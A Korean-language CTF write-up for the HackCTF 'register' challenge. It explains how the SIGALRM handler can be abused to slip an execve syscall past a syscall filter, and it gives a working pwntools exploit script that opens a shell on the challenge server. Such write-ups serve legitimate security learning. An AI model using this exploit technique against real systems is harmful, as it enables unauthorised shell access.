main에서 alarm(5)를 실행하고 바로 build 함수로 넘어오게 된다.
이 build 부분에서 봐야될게 raise(14)를 하게 되면 handler를 실행하게 된다는것이다. 근데 이 handler를 실행하면 각 레지스터에 입력된 값들을 넣고 syscall을 부르게 된다. 여기서 생각할 수 있는 익스 방법이
1.data 영역에 /bin/sh\x00 문자열을 넣는다.
2. 아까 data영역을 execve 함수 인자로 주어서 쉘을 딴다.
이렇게 된다.
그런데 여기서 필터링이 있는데 그게 바로 validate_syscall_obj()라는 함수이다.
al이 rax에 들어갈 값인데 그것을 필터링 해준다.
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
요기서 read함수의 rax는 0이라는 것과 rax가 59라는것을 알 수 있다. 그런데 rax가 0일때는 필터링을 잘 통과한다. 하지만 rax가 59일 때는 통과하지 못한다. 이건 어떻게 해야될까? 바로 main함수를 유심히 봐야한다.
여기서 alarm(5)가 있다. 이 말은 5초뒤에 alarm함수가 실행되어서 SIGALRM을 보낸다는 것이다. 근데 이 SIGALRM은 아래 링크를 통해 가보면 알 수 있듯이 0xe 즉 14이다.
즉 이 SIGALRM이 실행되면 handler함수가 실행되어서 syscall이 불러진다는 것이다. 이걸 바탕으로 익스를 짜면 된다.
from pwn import *
#p = process('./register')
p = remote('ctf.j0n9hyun.xyz', 3026)
e = ELF('./register')
context.log_level = "debug"
pause()
def fun(rax, rdi,rsi,rdx):
register = list([rax, rdi,rsi,rdx,0,0,0])
print register
for reg in register:
p.recv()
p.sendline(str(reg))
data = 0x601068
fun(0, 0, data, 10)
p.sendline('/bin/sh\x00')
fun(59, data, 0, 0)
sleep(5)
p.interactive()
후 리버싱을 잘못해서 삽질을 많이 했던 문제이다. 리버싱을 열심히 하자ㅠㅠㅠㅠㅠ
***********************************************************번외**************************************************************
여기서 syscall을 이용해 execve함수를 부르기 전에 RAX,RDI 등을 입력하라고 나오는데 거기서 입력을 해도 익스가 된다. (다만 r9까지 즉 끝까지 입력해서는 안된다.) 여기서 우리는 그 이유를 분석할 것이다.
이 handler의 인자는 obj의 포인터이다.근데 이 obj는 bss 영역에 있는 변수이다.
이 exec_syscall_obj함수를 보면 알 수 있듯이 bss영역안의 값을 레지스터로 복사하고 syscall을 부르는 것을 확인할 수 있다. 그럼 이 bss영역안에 언제 값이 들어가나? 바로 이 함수안에서 값이 들어가게 된다.
그런데 이 값을 넣는 시점이 get_obj라는 함수를 실행시킨 뒤다.
이렇게 다 입력을 받은 뒤에 bss영역안의 변수에 값을 넣어주게 된다. 따라서 r9까지 입력하게 되면 익스가 안되는 이유는 r9까지 다 입력하게 되면 bss영역안으 변수가 바뀌게 되고 그렇게 되면 syscall도 우리가 원하는 execve함수를 실행시키지 않게 되기 때문이다.
'CTF write-up > hackctf' 카테고리의 다른 글
[hackctf] 풍수지리설 (0) | 2019.08.20 |
---|---|
[hackctf]World_best_encryption_tool (0) | 2019.07.22 |
[hackctf]rtc (0) | 2019.07.19 |
[hackctf]pwning (0) | 2019.07.18 |
[hackctf]Gift (0) | 2019.07.18 |